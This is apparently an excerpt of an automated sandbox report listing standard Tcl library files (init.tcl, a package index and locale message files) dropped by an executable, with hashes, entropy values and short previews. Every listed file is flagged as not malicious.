Preview:	# Tcl package index file, version 1.0.# This file is generated by the "pkg_mkIndex" command.# and sourced either when an application starts up or.# by a "package unknown" script. It invokes the.# "package ifneeded" command to set up package-related.# information so that packages will be loaded automatically.# in response to "package require" commands. When this.# script is sourced, the variable $dir must contain the.# full path name of this file's directory...package ifneeded http 1.0 [list tclPkgSetup $dir http 1.0 {{http.tcl source {httpCopyDone httpCopyStart httpEof httpEvent httpFinish httpMapReply httpProxyRequired http_code http_config http_data http_formatQuery http_get http_reset http_size http_status http_wait}}}].

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\init.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	24873
Entropy (8bit):	4.82316274746826
Encrypted:	false
SSDEEP:	768:QOD8Ud4JkabmvmsyulMOFt/9IrOBWq8oXCQyfp125aab07:7Dn4JkGmvbh/9IrOOoXq8aV7
MD5:	77A6D49BF79B449596AD9CE0E73E116B
SHA1:	8CC4F2AAC6B69ED6630DF5EB610946731483F178
SHA-256:	21A5AAD2ED6D69E15C032BE72DA55DCCA8B56580C869E863D87CAF2848E5C2B1
SHA-512:	F4052C342D73A2492263470E06B803DDC26C3485ADAB1163F5E00115ECCF9036599AA45386B8ACF0B4B13A698DE4A6E951D9EC67CBA316F26009617899328680
Malicious:	false
Reputation:	unknown
Preview:	# init.tcl --.#.# Default system startup file for Tcl-based applications. Defines.# "unknown" procedure and auto-load facilities..#.# Copyright (c) 1991-1993 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..# Copyright (c) 1998-1999 Scriptics Corporation..# Copyright (c) 2004 by Kevin B. Kenny. All rights reserved..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# This test intentionally written in pre-7.5 Tcl.if {[info commands package] == ""} {. error "version mismatch: library\nscripts expect Tcl version 7.5b1 or later but the loaded version is\nonly [info patchlevel]".}.package require -exact Tcl 8.5.19..# Compute the auto path to use in this interpreter..# The values on the path come from several locations:.#.# The environment variable TCLLIBPATH.#.# tcl_library, which is the directory containing this init.tcl script..# [tclInit] (Tcl_Init()) se

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\af.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	989
Entropy (8bit):	4.015702624322247
Encrypted:	false
SSDEEP:	12:4EnLzu8wcm2NkKcmtH3WhvdfjESBToOqepFHvFgdF69dixmem1OMVjeza6O6c:4azu8DtkN3bbJ75pF9gG3U2e+gc
MD5:	3A3B4D3B137E7270105DC7B359A2E5C2
SHA1:	2089B3948F11EF8CE4BD3D57167715ADE65875E9
SHA-256:	2981965BD23A93A09EB5B4A334ACB15D00645D645C596A5ECADB88BFA0B6A908
SHA-512:	044602E7228D2CB3D0A260ADFD0D3A1F7CAB7EFE5DD00C7519EAF00A395A48A46EEFDB3DE81902D420D009B137030BC98FF32AD97E9C3713F0990FE6C09887A2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset af DAYS_OF_WEEK_ABBREV [list \. "So"\. "Ma"\. "Di"\. "Wo"\. "Do"\. "Vr"\. "Sa"]. ::msgcat::mcset af DAYS_OF_WEEK_FULL [list \. "Sondag"\. "Maandag"\. "Dinsdag"\. "Woensdag"\. "Donderdag"\. "Vrydag"\. "Saterdag"]. ::msgcat::mcset af MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mar"\. "Apr"\. "Mei"\. "Jun"\. "Jul"\. "Aug"\. "Sep"\. "Okt"\. "Nov"\. "Des"\. ""]. ::msgcat::mcset af MONTHS_FULL [list \. "Januarie"\. "Februarie"\. "Maart"\. "April"\. "Mei"\. "Junie"\. "Julie"\. "Augustus"\. "September"\. "Oktober"\. "November"\. "Desember"\. ""]. ::msgcat::mcset af AM "VM". ::msgcat::mcset af PM "NM".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\af_za.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.879621059534584
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmouFygvNLouFqF3v6aZouFy9+3vR6HK:4EnLzu8YAgvNTYF3v6axAI3voq
MD5:	27C356DF1BED4B22DFA55835115BE082
SHA1:	677394DF81CDBAF3D3E735F4977153BB5C81B1A6
SHA-256:	3C2F5F631ED3603EF0D5BCB31C51B2353C5C27839C806A036F3B7007AF7F3DE8
SHA-512:	EE88348C103382F91F684A09F594177119960F87E58C5E4FC718C698AD436E332B74B8ED18DF8563F736515A3A6442C608EBCBE6D1BD13B3E3664E1AA3851076
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset af_ZA DATE_FORMAT "%d %B %Y". ::msgcat::mcset af_ZA TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset af_ZA DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ar.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1964
Entropy (8bit):	4.417722751563065
Encrypted:	false
SSDEEP:	24:4azu8fnkFewadQxvbkMPm/FiUoAwonC9UFsvSnvMq:46dw/L+C9cKSvF
MD5:	0A88A6BFF15A6DABAAE48A78D01CFAF1
SHA1:	90834BCBDA9B9317B92786EC89E20DCF1F2DBD22
SHA-256:	BF984EC7CF619E700FE7E00381FF58ABE9BD2F4B3DD622EB2EDACCC5E6681050
SHA-512:	85CB96321BB6FB3119D69540B9E76916F0C5F534BA01382E73F8F9A0EE67A7F1BFC39947335688F2C8F3DB9B51D969D8EA7C7104A035C0E949E8E009D4656288
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar DAYS_OF_WEEK_ABBREV [list \. "\u062d"\. "\u0646"\. "\u062b"\. "\u0631"\. "\u062e"\. "\u062c"\. "\u0633"]. ::msgcat::mcset ar DAYS_OF_WEEK_FULL [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar MONTHS_ABBREV [list \. "\u064a\u0646\u0627"\. "\u0641\u0628\u0631"\. "\u0645\u0627\u0631"\. "\u0623\u0628\u0631"\. "\u0645\u0627\u064a"\. "\u064a\u0648\u0646"\. "\u064a\u0648\u0644"\. "\u0623\u063a\u0633"\. "\u0633\u0628\u062a"\. "\u0623\u0643\u062a"\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ar_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.825452591398057
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoKNvf/NLoKU3v6xH5oKNo+3vfXM6PYv:4EnLzu8yvf/Nq3v6vF3vfc6q
MD5:	EEB42BA91CC7EF4F89A8C1831ABE7B03
SHA1:	74D12B4CBCDF63FDF00E589D8A604A5C52C393EF
SHA-256:	29A70EAC43B1F3AA189D8AE4D92658E07783965BAE417FB66EE5F69CFCB564F3
SHA-512:	6CCB2F62986CE1CF3CE78538041A0E4AAF717496F965D73014A13E9B05093EB43185C3C14212DC052562F3F369AB6985485C8C93D1DFC60CF9B8DABEA7CDF434
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_IN DATE_FORMAT "%A %d %B %Y". ::msgcat::mcset ar_IN TIME_FORMAT_12 "%I:%M:%S %z". ::msgcat::mcset ar_IN DATE_TIME_FORMAT "%A %d %B %Y %I:%M:%S %z %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ar_jo.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.023830561129656
Encrypted:	false
SSDEEP:	24:4azu8J5Fe6k+wR+9Gb+Oa+UcP+wR+9Gb+Oa+UD:46I6CNbtdNbQ
MD5:	4338BD4F064A6CDC5BFED2D90B55D4E8
SHA1:	709717BB1F62A71E94D61056A70660C6A03B48AE
SHA-256:	78116E7E706C7D1E3E7446094709819FB39A50C2A2302F92D6A498E06ED4A31B
SHA-512:	C63A535AD19CBEF5EFC33AC5A453B1C503A59C6CE71A4CABF8083BC516DF0F3F14D3D4F309D33EDF2EC5E79DB00ED1F7D56FD21068F09F178BB2B191603BAC25
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_JO DAYS_OF_WEEK_ABBREV [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar_JO MONTHS_ABBREV [list \. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\. "\u0634\u0628\u0627\u0637"\. "\u0622\u0630\u0627\u0631"\. "\u0646\u064a\u0633\u0627\u0646"\. "\u0646\u0648\u0627\u0631"\. "\u062d\u0632\u064a\u0631\u0627\u0646"\. "\u062a\u0645\u0648\u0632"\. "\u0622\u0628"\. "\u0623\u064a\u0644\u0648\u0644"\. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0644"\. "\u062a\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ar_lb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.020656526954981
Encrypted:	false
SSDEEP:	24:4azu865Fehk+wR+9Gb+Oa+UXP+wR+9Gb+Oa+UD:46nhCNbadNbQ
MD5:	3789E03CF926D4F12AFD30FC7229B78D
SHA1:	AEF38AAB736E5434295C72C14F38033AAFE6EF15
SHA-256:	7C970EFEB55C53758143DF42CC452A3632F805487CA69DB57E37C1F478A7571B
SHA-512:	C9172600703337EDB2E36D7470A3AED96CCC763D7163067CB19E7B097BB7877522758C3109E31D5D72F486DD50BF510DDBA50EDD248B899FA0A2EEF09FCBF903
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_LB DAYS_OF_WEEK_ABBREV [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar_LB MONTHS_ABBREV [list \. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\. "\u0634\u0628\u0627\u0637"\. "\u0622\u0630\u0627\u0631"\. "\u0646\u064a\u0633\u0627\u0646"\. "\u0646\u0648\u0627\u0631"\. "\u062d\u0632\u064a\u0631\u0627\u0646"\. "\u062a\u0645\u0648\u0632"\. "\u0622\u0628"\. "\u0623\u064a\u0644\u0648\u0644"\. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0644"\. "\u062a\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ar_sy.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.02203966019266
Encrypted:	false
SSDEEP:	24:4azu8k5Fezk+wR+9Gb+Oa+U5P+wRa9Gb+Oa+UD:46ZzCNb0d5bQ
MD5:	EC736BFD4355D842E5BE217A7183D950
SHA1:	C6B83C02F5D4B14064D937AFD8C6A92BA9AE9EFB
SHA-256:	AEF17B94A0DB878E2F0FB49D982057C5B663289E3A8E0E2B195DCEC37E8555B1
SHA-512:	68BB7851469C24003A9D74FC7FE3599A2E95EE3803014016DDEBF4C5785F49EDBADA69CD4103F2D3B6CE91E9A32CC432DBDFEC2AED0557E5B6B13AED489A1EDA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ar_SY DAYS_OF_WEEK_ABBREV [list \. "\u0627\u0644\u0623\u062d\u062f"\. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\. "\u0627\u0644\u062e\u0645\u064a\u0633"\. "\u0627\u0644\u062c\u0645\u0639\u0629"\. "\u0627\u0644\u0633\u0628\u062a"]. ::msgcat::mcset ar_SY MONTHS_ABBREV [list \. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\. "\u0634\u0628\u0627\u0637"\. "\u0622\u0630\u0627\u0631"\. "\u0646\u064a\u0633\u0627\u0646"\. "\u0646\u0648\u0627\u0631"\. "\u062d\u0632\u064a\u0631\u0627\u0646"\. "\u062a\u0645\u0648\u0632"\. "\u0622\u0628"\. "\u0623\u064a\u0644\u0648\u0644"\. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0644"\. "\u062a\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\be.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2105
Entropy (8bit):	4.215818273236158
Encrypted:	false
SSDEEP:	48:46dJRQPQ86AK0xQuEQS3oQsDptuCrQICZmQ8ZVDtN1QFqQLtCSjZMpktvp:hdP6HIZoFnl1Rgx
MD5:	1A3ABFBC61EF757B45FF841C197BB6C3
SHA1:	74D623DAB6238D05C18DDE57FC956D84974FC2D4
SHA-256:	D790E54217A4BF9A7E1DCB4F3399B5861728918E93CD3F00B63F1349BDB71C57
SHA-512:	154D053410AA0F7817197B7EE1E8AE839BA525C7660620581F228477B1F5B972FE95A4E493BB50365D0B63B0115036DDE54A98450CA4E8048AF5D0AF092BADE5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset be DAYS_OF_WEEK_ABBREV [list \. "\u043d\u0434"\. "\u043f\u043d"\. "\u0430\u0442"\. "\u0441\u0440"\. "\u0447\u0446"\. "\u043f\u0442"\. "\u0441\u0431"]. ::msgcat::mcset be DAYS_OF_WEEK_FULL [list \. "\u043d\u044f\u0434\u0437\u0435\u043b\u044f"\. "\u043f\u0430\u043d\u044f\u0434\u0437\u0435\u043b\u0430\u043a"\. "\u0430\u045e\u0442\u043e\u0440\u0430\u043a"\. "\u0441\u0435\u0440\u0430\u0434\u0430"\. "\u0447\u0430\u0446\u0432\u0435\u0440"\. "\u043f\u044f\u0442\u043d\u0456\u0446\u0430"\. "\u0441\u0443\u0431\u043e\u0442\u0430"]. ::msgcat::mcset be MONTHS_ABBREV [list \. "\u0441\u0442\u0434"\. "\u043b\u044e\u0442"\. "\u0441\u043a\u0432"\. "\u043a\u0440\u0441"\. "\u043c\u0430\u0439"\. "\u0447\u0440\u0432"\. "\u043b\u043f\u043d"\. "\u0436\u043d\u

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\bg.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	4.363233187157474
Encrypted:	false
SSDEEP:	48:46scAXuQfuQVoQAWN5EPIKfD8WQjQ3QgQaQLSqQsQGtQWCQMmt1f:hD/zQaPIKfTSiF3KVfVCqp
MD5:	11FA3BA30A0EE6A7B2B9D67B439C240D
SHA1:	EC5557A16A0293ABF4AA8E5FD50940B60A8A36A6
SHA-256:	E737D8DC724AA3B9EC07165C13E8628C6A8AC1E80345E10DC77E1FC62A6D86F1
SHA-512:	B776E7C98FB819436C61665206EE0A2644AA4952D739FF7CC58EAFBD549BD1D26028DE8E11B8533814102B31FC3884F95890971F547804BCAA4530E35BDD5CFD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset bg DAYS_OF_WEEK_ABBREV [list \. "\u041d\u0434"\. "\u041f\u043d"\. "\u0412\u0442"\. "\u0421\u0440"\. "\u0427\u0442"\. "\u041f\u0442"\. "\u0421\u0431"]. ::msgcat::mcset bg DAYS_OF_WEEK_FULL [list \. "\u041d\u0435\u0434\u0435\u043b\u044f"\. "\u041f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a"\. "\u0412\u0442\u043e\u0440\u043d\u0438\u043a"\. "\u0421\u0440\u044f\u0434\u0430"\. "\u0427\u0435\u0442\u0432\u044a\u0440\u0442\u044a\u043a"\. "\u041f\u0435\u0442\u044a\u043a"\. "\u0421\u044a\u0431\u043e\u0442\u0430"]. ::msgcat::mcset bg MONTHS_ABBREV [list \. "I"\. "II"\. "III"\. "IV"\. "V"\. "VI"\. "VII"\. "VIII"\. "IX"\. "X"\. "XI"\. "XII"\. ""]. ::msgcat::mcset bg MONTHS_FULL [list \. "\u042

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\bn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2286
Entropy (8bit):	4.04505151160981
Encrypted:	false
SSDEEP:	24:4azu8adWa9tUEVcqVc5VcaUTVcHVEVc+7VclEVcNGVcn0VcMG/0VcMjVcMK7YXs+:46C07LetHigetH1YES
MD5:	B387D4A2AB661112F2ABF57CEDAA24A5
SHA1:	80DB233687A9314600317AD39C01466C642F3C4C
SHA-256:	297D4D7CAE6E99DB3CA6EE793519512BFF65013CF261CF90DED4D28D3D4F826F
SHA-512:	450BB56198AAAB2EEFCD4E24C29DD79D71D2EF7E8D066F3B58F9C5D831F960AFB78C46ECE2DB32EF81454BCCC80C730E36A610DC9BAF06757E0757B421BACB19
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset bn DAYS_OF_WEEK_ABBREV [list \. "\u09b0\u09ac\u09bf"\. "\u09b8\u09cb\u09ae"\. "\u09ae\u0999\u0997\u09b2"\. "\u09ac\u09c1\u09a7"\. "\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf"\. "\u09b6\u09c1\u0995\u09cd\u09b0"\. "\u09b6\u09a8\u09bf"]. ::msgcat::mcset bn DAYS_OF_WEEK_FULL [list \. "\u09b0\u09ac\u09bf\u09ac\u09be\u09b0"\. "\u09b8\u09cb\u09ae\u09ac\u09be\u09b0"\. "\u09ae\u0999\u0997\u09b2\u09ac\u09be\u09b0"\. "\u09ac\u09c1\u09a7\u09ac\u09be\u09b0"\. "\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf\u09ac\u09be\u09b0"\. "\u09b6\u09c1\u0995\u09cd\u09b0\u09ac\u09be\u09b0"\. "\u09b6\u09a8\u09bf\u09ac\u09be\u09b0"]. ::msgcat::mcset bn MONTHS_ABBREV [list \. "\u099c\u09be\u09a8\u09c1\u09df\u09be\u09b0\u09c0"\. "\u09ab\u09c7\u09ac\u09cd\u09b0\u09c1\u09df\u09be\u09b0\u09c0"\.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\bn_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.821338044395148
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmovtvflD/Lo/E3v6xH5ovto+3vflm6PYv:4EnLzu81tvflD/SE3v6etF3vflm6q
MD5:	764E70363A437ECA938DEC17E615608B
SHA1:	2296073AE8CC421780E8A3BCD58312D6FB2F5BFC
SHA-256:	7D3A956663C529D07C8A9610414356DE717F3A2A2CE9B331B052367270ACEA94
SHA-512:	4C7B9082DA9DDF07C2BE16C359A1A42834B8E730AD4DD5B987866C2CC735402DDE513588A89C8DFA25A1AC6F66AF9FDDBEA8FD500F8526C4641BBA7011CD0D28
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset bn_IN DATE_FORMAT "%A %d %b %Y". ::msgcat::mcset bn_IN TIME_FORMAT_12 "%I:%M:%S %z". ::msgcat::mcset bn_IN DATE_TIME_FORMAT "%A %d %b %Y %I:%M:%S %z %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ca.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	4.213250101046006
Encrypted:	false
SSDEEP:	24:4azu8WBVUUQ48wsF0nuLsCtJeUFqwv1v3:46BwoL5ScfR3
MD5:	9378A5AD135137759D46A7CC4E4270E0
SHA1:	8D2D53DA208BB670A335C752DFC4B4FF4509A799
SHA-256:	14FF564FAB584571E954BE20D61C2FACB096FE2B3EF369CC5ECB7C25C2D92D5A
SHA-512:	EF784D0D982BA0B0CB37F1DA15F8AF3BE5321F59E586DBED1EDD0B3A38213D3CEA1CDFC983A025418403400CCE6039B786EE35694A5DFCE1F22CB2D315F5FCF8
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ca DAYS_OF_WEEK_ABBREV [list \. "dg."\. "dl."\. "dt."\. "dc."\. "dj."\. "dv."\. "ds."]. ::msgcat::mcset ca DAYS_OF_WEEK_FULL [list \. "diumenge"\. "dilluns"\. "dimarts"\. "dimecres"\. "dijous"\. "divendres"\. "dissabte"]. ::msgcat::mcset ca MONTHS_ABBREV [list \. "gen."\. "feb."\. "mar\u00e7"\. "abr."\. "maig"\. "juny"\. "jul."\. "ag."\. "set."\. "oct."\. "nov."\. "des."\. ""]. ::msgcat::mcset ca MONTHS_FULL [list \. "gener"\. "febrer"\. "mar\u00e7"\. "abril"\. "maig"\. "juny"\. "juliol"\. "agost"\. "setembre"\. "octubre"\. "novembre"\. "desembre"\. ""]. ::msgcat::mcset ca DATE_FORMAT "%d/%m/%Y". ::msg

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\cs.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	4.400184537938628
Encrypted:	false
SSDEEP:	24:4azu8f4sO4fETEtd3N5EPIK+kJQz3R3VJ2PYYITCF3eYGCvt2/v3eG:46/ETKN5EPIKfsxV+pBtMJ
MD5:	4C5679B0880394397022A70932F02442
SHA1:	CA5C47A76CD4506D8E11AECE1EA0B4A657176019
SHA-256:	49CF452EEF0B8970BC56A7B8E040BA088215508228A77032CBA0035522412F86
SHA-512:	39FA0D3235FFD3CE2BCCFFFA6A4A8EFE2668768757DAFDE901917731E20AD15FCAC4E48CF4ACF0ADFAA38CC72768FD8F1B826464B0F71A1C784E334AE72F857C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset cs DAYS_OF_WEEK_ABBREV [list \. "Ne"\. "Po"\. "\u00dat"\. "St"\. "\u010ct"\. "P\u00e1"\. "So"]. ::msgcat::mcset cs DAYS_OF_WEEK_FULL [list \. "Ned\u011ble"\. "Pond\u011bl\u00ed"\. "\u00dater\u00fd"\. "St\u0159eda"\. "\u010ctvrtek"\. "P\u00e1tek"\. "Sobota"]. ::msgcat::mcset cs MONTHS_ABBREV [list \. "I"\. "II"\. "III"\. "IV"\. "V"\. "VI"\. "VII"\. "VIII"\. "IX"\. "X"\. "XI"\. "XII"\. ""]. ::msgcat::mcset cs MONTHS_FULL [list \. "leden"\. "\u00fanor"\. "b\u0159ezen"\. "duben"\. "kv\u011bten"\. "\u010derven"\. "\u010dervenec"\. "srpen"\. "z\u00e1\u0159\u00ed"\. "\u0159\u00edjen"\. "listopad"\. "prosinec"\. ""]

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\da.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	4.242018456508518
Encrypted:	false
SSDEEP:	24:4azu8xVKE6V4/xPsS9CfXTBfijQT1GqAPwvsvT:461H6y/RsJXTNGqAuKT
MD5:	F012F45523AA0F8CFEACC44187FF1243
SHA1:	B171D1554244D2A6ED8DE17AC8000AA09D2FADE9
SHA-256:	CA58FF5BAA9681D9162E094E833470077B7555BB09EEE8E8DD41881B108008A0
SHA-512:	5BBC44471AB1B1622FABC7A12A8B8727087BE64BEAF72D2C3C9AAC1246A41D9B7CAFC5C451F24A3ACC681C310BF47BBC3384CF80EB0B4375E12646CB7BB8FFD5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset da DAYS_OF_WEEK_ABBREV [list \. "s\u00f8"\. "ma"\. "ti"\. "on"\. "to"\. "fr"\. "l\u00f8"]. ::msgcat::mcset da DAYS_OF_WEEK_FULL [list \. "s\u00f8ndag"\. "mandag"\. "tirsdag"\. "onsdag"\. "torsdag"\. "fredag"\. "l\u00f8rdag"]. ::msgcat::mcset da MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "maj"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "dec"\. ""]. ::msgcat::mcset da MONTHS_FULL [list \. "januar"\. "februar"\. "marts"\. "april"\. "maj"\. "juni"\. "juli"\. "august"\. "september"\. "oktober"\. "november"\. "december"\. ""]. ::msgcat::mcset da BCE "f.Kr.". ::msgcat::mcset da CE "e.Kr.".

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\de.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1222
Entropy (8bit):	4.277486792653572
Encrypted:	false
SSDEEP:	24:4azu8byFouxpZzWsu0biMe5pF9g1tT9egQTqrS8QWmWFUvIvWI3:46CFB/ZzWsu0vpHlrS8QLWFSeWI3
MD5:	68882CCA0886535A613ECFE528BB81FC
SHA1:	6ABF519F6E4845E6F13F272D628DE97F2D2CD481
SHA-256:	CC3672969C1DD223EADD9A226E00CAC731D8245532408B75AB9A70E9EDD28673
SHA-512:	ACD5F811A0494E04A18035D2B9171FAF3AB8C856AAB0C09AEBE755590261066ADCD2750565F1CB840B2D0111D95C98970294550A4FBD00E4346D2EDBA3A5C957
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset de DAYS_OF_WEEK_ABBREV [list \. "So"\. "Mo"\. "Di"\. "Mi"\. "Do"\. "Fr"\. "Sa"]. ::msgcat::mcset de DAYS_OF_WEEK_FULL [list \. "Sonntag"\. "Montag"\. "Dienstag"\. "Mittwoch"\. "Donnerstag"\. "Freitag"\. "Samstag"]. ::msgcat::mcset de MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mrz"\. "Apr"\. "Mai"\. "Jun"\. "Jul"\. "Aug"\. "Sep"\. "Okt"\. "Nov"\. "Dez"\. ""]. ::msgcat::mcset de MONTHS_FULL [list \. "Januar"\. "Februar"\. "M\u00e4rz"\. "April"\. "Mai"\. "Juni"\. "Juli"\. "August"\. "September"\. "Oktober"\. "November"\. "Dezember"\. ""]. ::msgcat::mcset de BCE "v. Chr.". ::msgcat::mcset de CE "n. Chr.".

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\de_at.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	812
Entropy (8bit):	4.344116560816791
Encrypted:	false
SSDEEP:	12:4EnLzu8U3S5dkTo7eqepFHvFgt1BAI+5zS17eM5Qz3q6owjI9I3vd3v6B3v9dy:4azu8UlMe5pF9gXDT9egQTqr+rv1vivi
